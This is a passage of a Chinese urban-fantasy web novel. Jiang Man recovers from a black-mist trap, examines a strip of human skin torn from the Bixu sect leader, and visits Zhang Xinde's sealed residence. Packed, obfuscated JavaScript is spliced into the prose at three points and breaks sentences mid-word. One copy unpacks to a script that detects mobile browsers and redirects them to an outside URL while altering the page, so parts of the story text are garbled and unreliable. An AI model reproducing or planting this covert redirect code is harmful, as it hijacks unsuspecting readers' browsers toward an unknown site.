薄临走出房间后,看见了客厅长桌边的黎佳宁,也看见了长桌上的石塔,对黎佳宁道:“别看了,先离开这儿,那东西……带走。” 黎佳宁看向薄临,自然也看见了他怀里的姜满,也是惊喜万分,“你、你们……” 薄临并未多言,径直走出门,按下电梯。 黎佳宁赶紧拿起石塔,和张云汉一起,紧随其后。 回去的路上,张云汉开着车,从后视镜看看薄临,想问些什么,但却不知怎么开口,与黎佳宁一样,他很少见到如此严肃的小薄总。 印象中的薄临一直都是温和儒雅,面带微笑的,既不浓烈,也不寡淡,有教养,好性子,除了上次大长老差点死了…… 后座的薄临低头看着躺在他腿上昏迷不醒的姜满,看向她攥紧的拳头,似乎紧握着什么,他回忆起刚刚在黑雾里的场景。 趁着极黑之时,他突破她设下的屏障,回到她的身边,因为怕被她发现,他并未显现身形。 他看见那些黑雾触须在她周身徘徊,他看见它们触碰她的身体,他也看见她好像在和什么人说话,即便他极力压抑着想要把这黑雾触须全部撕烂的冲动,但他的怒意显然已经影响到了这个地方。 黑雾弥漫,在他周身如蒸汽般升腾,也遮挡住了他的视线。 他并不知道这些是什么,但他大概能猜到,这一切都是出自于谁的手笔,他当然也知道,碧虚的主人是谁。 那个人,终究是冤孽,偏偏,他答应过她,不能随意插手。 可是,要他如何眼睁睁看着她身陷险境而无动于衷呢? “抓到,你了。” 他听到她的声音。 “忘了告诉你,我,不仅能听到你,还能看到。” 他瞳孔微动,心中一沉,本准备靠近的身形顿住了。 她……能听到,也能看到? 还没等他有所动作,眼前黑雾开始消退,整个黑雾领域都开始消退, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薄临低头看向姜满,“先回去,我已经叫医生过来了,不过你们也别太担心,我先前已经确认过了,她的呼吸和心跳都很正常。” 黎佳宁继续问道:“这地方到底是怎么回事?还有,刚刚为什么你要我把这个石塔带着?” 薄临看向她手中的石塔,“我和恩人白天来的时候,没有见到这个石塔,我见你一直在看,想必是觉得有什么古怪,所以让你先拿着。” 黎佳宁点点头,“嗯……不过,老大手里,是不是握着什么东西?这么握得那么紧?” “嗯,我试过了,扒不开,等她醒了自然就知道了。” 张云汉神色凝重的看着前路,手把这方向盘,轻声道:“回去后,必须找书韫问清楚,他们葵山道,到底是怎么回事。” “与葵山道有什么关系?”黎佳宁疑惑道。 “你们有所不知,大长老过去在天一道,一直被困于一间房子里,困住大长老的,是一张黑符,葵山道掌门画的天玄符箓,当初接大长老出来,是我,亲手揭下的那张符。” 张云汉看了看二人,又继续专注于开车,口中接着道:“我刚刚在那个房间里,也看见了,一模一样的天玄符箓。这,也就是薄临和大长老出不来的原因。” “原来如此。”黎佳宁点点头。 她是知道的,天一道有一位闭门不出的大长老,当初她在檀州的任务,就是盯着这位大长老,想不到她几番做出对不起姜满的事,姜满还舍身救她,如今成了这个样子…… 车子在路上行驶着,张云汉大约是想事情入了神,在红绿灯前一个急刹,车内几人受惯性影响,都猛地往前一冲,姜满也差点掉下车座,还好被薄临拉住了。 只是这一颠,倒叫姜满攥紧的拳头松开了,她手心的东西掉了出来。 灰白发黄的一小块薄片,手掌大小,边缘很不规则,像是被硬扯下的布片,但上面有些纹理,触感软软的,反面好像还有干涸的血肉。 薄临伸手捡了起来,“这是……” 前座二人回过头来,张云汉一脸不解,黎佳宁瞳孔却逐渐放大,“这是……人皮!” 54. 第一座山(54) 日到中午,姜满醒转。 松软的被子,适宜的温度,空气中的香气……她这是,回到薄家了。 “大长老!” “老大!” “阿满……” …… 回来了,他们都在,每个人都好好的。 一圈人围在床边,姜满眨了眨眼睛,感觉眼皮有些卡壳,伸手揉了揉,焦黑的血痂迷了眼。 此刻的姜满看起来可以说是面目全非,浑身上下,就连眼皮上都没有一寸完好的皮肤,全身焦黑,头发也烧了个干净,活脱脱一个碳人,盖着被子的她,别说容貌,就是男女都难辨。 薄月赶紧递了块热毛巾给她,她接过毛巾,擦了擦,作用不大。 “我……”姜满闭着一只眼,“我先去洗洗。” “先等等!” 薄月连忙拦住她要掀被子的手,把所有人都赶出去后,才拿来条浴巾,裹住姜满,送她进了浴室。 “需要……我帮忙吗?” “我没事,自己可以。” 薄月出去后,姜满打开热水,水流哗哗,冲洗着她身上的血痂。 她的自愈力好似又精进了,焦黑的血痂一块块剥落,露出光洁的皮肤,只是眉毛头发大概需要些时日才能长出来了。 这些都不要紧。 她扭过头,看了看自己的肩膀。 血痂被冲掉,那里的菊瓣印记,竟然还在。 她闭上眼,任水流冲洗着身体。 所以,当时接住她的、带她出来的,到底……是不是薄临? 那时她抓住了黑雾后面的那个女人,但很快,她就感到使用掌门印的后遗症开始发作了,她手上逐渐脱力,这次使用掌门印的力度太大,后遗症也非同小可,但意识完全丧失之前,她感觉到自己被抱住了,她闻到了熟悉的味道…… 那是属于薄临的味道。 她低头看向自己的手。 对了,那时,她分明从那个女人身上扯下了什么东西,是那个女人的衣服?还是什么…… 带出来了吗? 深灰色调的洗手间,白炽灯的灯光在右边的淋浴间外,水汽弥漫,淋浴间满是雾气的玻璃门内,姜满视线缓缓侧移,看向了左手边墙壁上,自己的影子。 她的影子并不十分清晰,从脚下延伸到侧面墙壁,似乎越靠近脚,颜色就越深。 过去竟从未留意过,洗澡的时候,每个人的影子都是这样的吗? 有光的地方就有阴影,所以黑暗无处不在,但对于影子,很少有人会特地留意,这团只要身处光明就一定会尾随的黑暗,越亮,则越黑,而像淋浴间此刻这样,因水汽弥漫而晦暗不明的地方,影子似乎也会变得不那么清晰。 许是看得太久了,姜满觉得,自己的影子越来越陌生。 那一团边界模糊的灰色,随着自己的动作移动,明明再寻常不过,为什么她觉得好陌生,甚至,很诡异……等等!好像,隐隐有黑雾在升腾! 她心里一惊,但很快反应过来。 是水流氤氲的热气。 “老大,你洗好了吗?你……没事吧?” 洗手间外的薄月等了太久,有些不放心的敲门问道。 姜满闭了闭眼,暗叹自己经此一遭,竟是草木皆兵了。 “我没事,很快就好了。” 快速地冲洗干净后,姜满走出浴室,擦干身体,穿上衣服,她打开了洗手间的门。 薄月看着走出来的姜满,不免惊讶,“你……” 方才还像碳人一般的姜满,此刻如同换了层皮,皮肤似乎比之前更好了,除了还有些发红,白嫩的宛若新生,只是,她没有头发和眉毛,光秃秃的,有些怪异。 “帮我个忙。”姜满没有理会薄月的吃惊。 薄月回过神来,“什么?” 姜满指向浴室,“你站到那儿去。” “啊?”薄月顺着她手指的方向看去,皱了皱眉,“可那地上全是水……好吧,我听老大的。” 姜满看着薄月走进淋浴间,目光缓缓聚焦在那面有影子的墙上。 一样的不算清晰的影子,随着薄月的动作而变化,并无异常。 [影子,怎么可能还有影子……] “怎么了吗?”薄月见她愣愣地看着自己,有些紧张。 姜满收回视线,“没事了,他们都在外面吗?让他们进来吧。” 薄月点点头,走出来,带了一地水迹。 “等一下。”她叫住了薄月,“你哥……你家,是不是有什么秘密?我的意思是,你父亲呢?” “秘、秘密?”薄月显然没想到姜满会突然发问,肉眼可见的有些慌乱,“没有秘密啊……是、是我哥和你说什么了吗?我父亲在国外,很少回国。” “很少回国。”姜满重复着,又问道:“既然很少回国,你家的归山集团是谁在管理?你哥是小薄总,你父亲必然就是薄总了,应该是归山集团最大的管理者吧?他可以长期待在国外吗?” “也不是很少回国,是很少回家!对,很少回家,在国外的时候,他也可以处理公司的事,嗯……公司的事我不太清楚,你问我哥吧,我不管那些的。” 姜满深深看了薄月一眼,“嗯,我就随便问问。” 说完,她走到房间门口,打开了门,对着门外等候的几人道:“进来吧。” 几人看见姜满此刻的模样,都很是吃惊。 一同去六合公寓的四人简单的互通信息后,姜满知道了自己是怎么出来的,对薄临的疑心更重了。 “所以,我之前才不愿与你说程长老的事。”程书韫心事重重地说道:“我早就发现葵山道门内有异,尤其是程长老,他……此事涉及太广,我实在不愿意把你们再牵扯到这种麻烦之中。” “对了,大长老,书韫说了,我们从六合公寓十九层带回来的那个石塔,就是程良的东西,那些怨灵就囚禁在此塔之中。”张云汉看向黎佳宁,黎佳宁会意,把石塔递到姜满手中。 张云汉继续道:“我记得您好像需要这些怨灵,您看看……” 姜满接过石塔,石塔一目了然,看起来不过是个寻常的摆件,塔身有石窗,螺旋向上,整个石塔并无特别的机关,但阴气的确很重。 看完之后,她把石塔放在了一边。 “这事不急,你们怎么样?出来之后,身体可有什么不适?” 她这话问的是三个和她一起去六合公寓的人,看向的却是张云汉。 “我们没事。” 满文卓盯着姜满,终于忍不住问道:“阿满,你呢?你现在这样……” 姜满看向满文卓,目光变得柔和了许多,“我很好,你放心。”说着,她摸了摸自己光秃秃的脑袋,“就是……头发烧没了,大概要丑一阵子了。” “哪里丑,只是大长老现在不像道玄,倒像是个娇俏的女僧玄。” 张云汉真心夸赞着,也算尽一尽自己的安慰之心,他低头看向自己的手腕,程书韫告诉他,这上面有过一道共生咒,他这才知道,大长老在十九层过道那一摔,其实是在他身上施下一层保护术法。 “是啊!老大好看着呢!而且现在这样戴假发也方便,乔装起来,更难被坏人盯上了!”薄月也开口道。 程书韫看向姜满,“现在,你打算怎么办?那块人皮……” “是碧虚那位姜掌门的。”姜满的眼神像是看向了很远的地方,“我本以为拽下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15158170|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的是衣服,却没想到,是一块人皮,而且……看样子,不是新皮。” 程书韫眉头紧锁,“这位姜掌门深不可测,我们还是不要再和她有交集才好。” “已经不是我们不想就能避免的了。” 张云汉似是想起了什么,“说到这个,我事后越想越觉得奇怪,大长老,我们院里,都没人察觉到这个十九层不对劲吗?就这样直接让您去了?事先都没有提醒一二吗?这样大的阵仗,玄人界竟然一星半点都不知道?” 程书韫看了他一眼,“我想,并不是一星半点都不知道,只是玄人本就修己,事不关己,当然不会深究。” “是啊,玄人修己,那么,程良为什么要和碧虚瓜葛在一起?”姜满看向了程书韫。 “我不知道。”程书韫垂着眼,随后看向姜满,试探道:“你打算怎么处理程长老?” 姜满有些好笑道:“处理?我能怎么处理?” “他摆明是和碧虚联手对付你,想要害你,这样,你都可以当做什么都没发生吗?” “联手……”姜满有意无意的看了看一直没说话的薄临,“有件事我倒是觉得奇怪,他们昨天就算知道了我的身份,又是怎么知道我晚上会过去的?又是怎么安排了陷阱,让我不得不踩进去的?” 黎佳宁问道:“肯定不是我们泄露出去的,老大,这件事除了我们四个,还有别人知道吗?” 姜满看向枕边的手机,“还有……张云霆。” “云霆师兄?”张云汉眨了眨眼,“院内和你联系的,是云霆师兄?” 姜满点点头。 这个张云霆既然是程书韫的表哥,许多事,必然比不相关的人知道的多。 “表哥不会的,他从不愿惹事。” “我也觉得云霆师兄不会,大长老,会不会他们不是故意针对我们,只是那里不营业的时候,有人想闯入,就会进入那个黑漆漆的怪地方?” 姜满闭了闭眼,“我累了,你们先出去吧,张云汉,你留下。” “阿满。”满文卓有些不放心。 姜满握住他伸过来的手,“别担心,我……”她忽然想到了他身上的尸斑,神情微微一滞,随即又展开笑颜,“别担心,我没事,大家都没事,你当然,也会没事的。” 她的声音很低,像是在自言自语。 众人离开后,姜满伸手抚摸着那个石塔,对张云汉道:“几件事,一:眼下天象不利,农历七月十五之前,你要帮我超度些怨灵。二:待会儿,你陪我出去一趟。” “去哪儿?” “天一疗养院。”没等他发问,姜满继续说道:“三:程书韫这个人,我可能看错了,等我帮她了结与互助会的恩怨,我不想再看到她。” “啊?看错了?看错是什么意思?她——” 姜满打断了他,“第四件事……我虽然活了很久,但在与人相处上,或许经验不足,尤其是男人,我问问你,有什么办法,能让一个男人毫不设防的,说真话?” 张云汉的脑子原本很乱,此刻,眨了眨眼,“您……是说薄临?” “嗯,其实我本可以用五方镜看个究竟,但他毕竟对我们不错,如非必要,这么做,于情于理都不太合适,而且,他知道五方镜,做起来也不方便。” 张云汉想起在触须怪林里看到的一幕,露出了八卦的笑容,随即低头想了想,道:“酒后吐真言,大长老想听他的真心话,那就找个机会和他单独喝一场酒吧?酒精可以让人意志薄弱,这方法可行,不过……你大可以直接问他的,我觉得,他的心意,他肯定不会瞒你。” “酒后吐真言……”姜满点点头,“嗯,我知道了,你去准备准备,一个小时后,我们出发。” 55. 第一座山(55) 重回天一疗养院,明明才过去没多久,姜满却觉得恍若隔世。 这一幢幢新的建筑,既陌生,又熟悉。 疗养院前面的楼都不算高,里面的绿化做的很好,为了让住在这里的老人或病人得到更好的休养,刚好又建在山里,空气清新,环境优美。 门口的保安认得张云汉,开了门,张云汉停好车,跟着姜满往疗养院深处走去。 [至于我的去向,如果你还愿意回天一道,可以去我办公室地下的住处看一看,等你解开我留给你的字谜,你就知道我为什么一定要查你的身世,又为什么要保护你了。] 这是张信德曾经留给姜满的话。 过去,姜满没有放在心上,她也对自己的身世没有什么兴趣,可如今,她要活在这世上,要不杀任何记忆体的活在这世上,还要……让阿卓好好的留在她身边,至少,要弄明白,那个女人要的是什么。 知其所图,才能有所防备。 这些日子经历的桩桩件件,凡和那个女人有关的,无一不是印证,这个和她长得很像又是同姓的女人,碧虚的掌门,实力深不可测不说,所用功法玄术,更是闻所未闻,诡谲难料。 姜满深知,自己行事受[空]所掣肘,既不能全力应对,难保不会失手。 杀死记忆这种事,平日里都难以避免,更别说有人且不止一人,总是在找她麻烦的时候。 至于……影子…… 此刻的姜满戴着一顶能包住头的冷帽,遮住了她光秃秃的脑袋,毕竟她那样出门,很难不引人注目。 地上的影子里,她和张云汉走在一起,今天的阳光很好,日头才微偏,影子很短,但颜色很深,黑色的,好像这里面,什么都没有,也有可能什么都有。 影子? 她为什么总是会注意到影子?不过是那个女人的一句话,为什么,好像在她心里,埋下了一根针? 姜满有些烦躁,脚步加快了些。 “大长老!您走慢点……可真行啊,上午您还那样,后来洗了个澡又变这样,现在又走那么快……” 七拐八绕,二人终于看到了一栋小楼。 和三十二年前相比,这栋小楼应该翻新过,但只是粉刷了外墙,贴了砖,布局没变。 只是这门和围墙…… “您怎么到这儿来了?我们不是找云霆师兄吗?”张云汉并不知道姜满回到疗养院的目的。 姜满顺着小楼装着铁丝电网的围墙,走到那扇封锁严实的铁门前,“这……是怎么回事?” 这样规格的门和围墙,怎么可能是张信德住的地方? “您不知道?”张云汉像是见惯了,并不觉得奇怪。 “知道什么?” “掌门他下山前,已经……有些不正常了,所以,不得不按照掌门吩咐,把这里的安防加强了些。” “不正常?你仔细说清楚。” 张云汉点点头,“也是,您一直待在那个地方,外面的事知道的不那么清楚,也很正常。掌门近些年许是因为年岁上来了,身体也不太好了,许多慢性病……就是高血压糖尿病什么的,不过这些本就是人之生老病死,是常理,但你知道,这些放在玄人身上,是很难接受的,玄人修己,只为长生,除妖驱邪不过是为了增加功德,运气好些的,得到些仙缘,说到底,也都是为了自己。” “行了,我知道他身体不好,玄人的事我也不敢兴趣,你说话能不能不要有这么多铺垫?他哪不正常了?身体不好何至于如此?” “您别急啊……原本掌门身体不好,咱们这儿又是疗养院,很适合养身体,他老人家也不大爱出门,成日里待在他的住处,也就是这里,后来,不知怎么的,他又开始频繁外出,作为掌门,做什么、为什么……咱们天一道的人有疑问,却也不好问。” 张云汉顿了顿,继续说:“再后来,他就有些……神志不清,或者说,半疯了。” “半疯?” “对,时而清醒,时而疯癫,也是他老人家清醒的时候吩咐的,把这里封锁起来。” 姜满皱起眉头,“那他既然疯了,你们又是怎么能放他下山去查什么我的身世的?” “他是掌门啊,谁能违拗他的意思,何况,这都是他清醒时的决定。” 是啊,必然是张信德清醒时的决定,姜满记得,他下山之前,还来找过她,那时可看不出半点疯态。 “一个疯子,还让他坐稳这掌门的位置,天一道还真是……无可救药。”姜满缓缓看向张云汉,盯着他的眼睛,“张云汉,你该不会,还有什么事瞒着我吧?” 张云汉眨眨眼,惊呼道:“怎么会?我哪敢啊!您忘了,我发过誓的。” [我张云汉发誓!不敢再对大长老不说、有所隐瞒!] 他是发过誓,可这誓言支支吾吾,倒不如不发,当真是把她当成傻子了。 姜满又看了他一会儿,转头面向小楼的大门,“我不想再坐牢了,但是,我以前不懂,活了这么久,还能不懂吗?想让一个人死,且不留痕迹,不被抓到,明明就很简单,你说是不是?” 说着,她手上轻轻一推,门就开了。 小楼几个月无人居住,院子里却也没有半点荒景。 草坪修剪的齐齐整整,石砖上的桌椅摆设一尘不染,姜满走上那短短的几级石阶,身后传来几人匆匆的脚步声。 “大长老,你怎么在这儿?” 女人的声音。 姜满回过头看去,正是当初请她出山的四位天一道长老,说话的,是那位女长老,排行……应该在第三。 她没再看他们,拧开了门,踏进去前,说道:“张云汉,好好和几位长老叙叙旧,别怠慢了。” 说完,她走进了小楼,关上了门。 这个地方,目光所及之处,是张信德的办公室,下面,就是他的居所了。 说起来,如果没有他,她恐怕至今还在米苏监狱服刑,更没有机会了解玄人玄术,自然,也不会有张云汉,不会知道如何破除[空]的诅咒。 屋内昏暗,窗帘紧闭,空旷的布局,座椅旁边有绳索,看起来,是张信德用来捆住自己的,书桌上放着一堆书,还有一个足球大小的鱼缸,鱼缸里没有鱼,只有一缸清水。 清水……不全是,里面,似乎有墨,没有完全晕开的墨…… 姜满眉头微蹙,却并未探究,很快,她在木制楼梯拐角处发现一扇木门。 打开木门,里面是一条通往地下的甬道。 这儿不是什么密室,门边有甬道灯的开关,打开灯,整个甬道亮堂堂的。 姜满走了下去,目光,却落在了自己的影子上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,你既有长生之能,区区百年,你当然等得起。” 就是他这番话,让她重新有了生机;让她甘愿成为天一道大长老;让她开始琢磨超度之法,只为好好活着,不忘记他们的活着。 张信德的住处映入眼帘,与姜满曾经住的地方格局很像,有客厅,有房间。 但姜满的目光,却被墙上悬挂的一幅古画吸引了。 画卷有些泛黄,但保存的很好,所绘是一女子,白衣长发,飘逸如仙,嘴角带笑,一双眼睛最是传神,灵动又清亮。 这分明是…… 上有题款,曰:乙丑夏六月为天一道祖师姜清诗画。 祖师?姜清? 姜满拿出手机,拍下了这幅画。 画卷并没有署名,只说了所绘何人,可所绘之人,分明,与她极为相像…… 她又仔细看了看这幅画,随着她的靠近,她注意到画卷下方留白处,有一个黑笔留下的小字,小小一个,蚂蚁一般。 影? 姜满心下一惊,不觉后退了两步。 这张信德当真是神算吗?这就是他留下的字迷?他怎么会算到,她如今走下来,怎么会算到她心中烦闷之事,就是这个“影”字?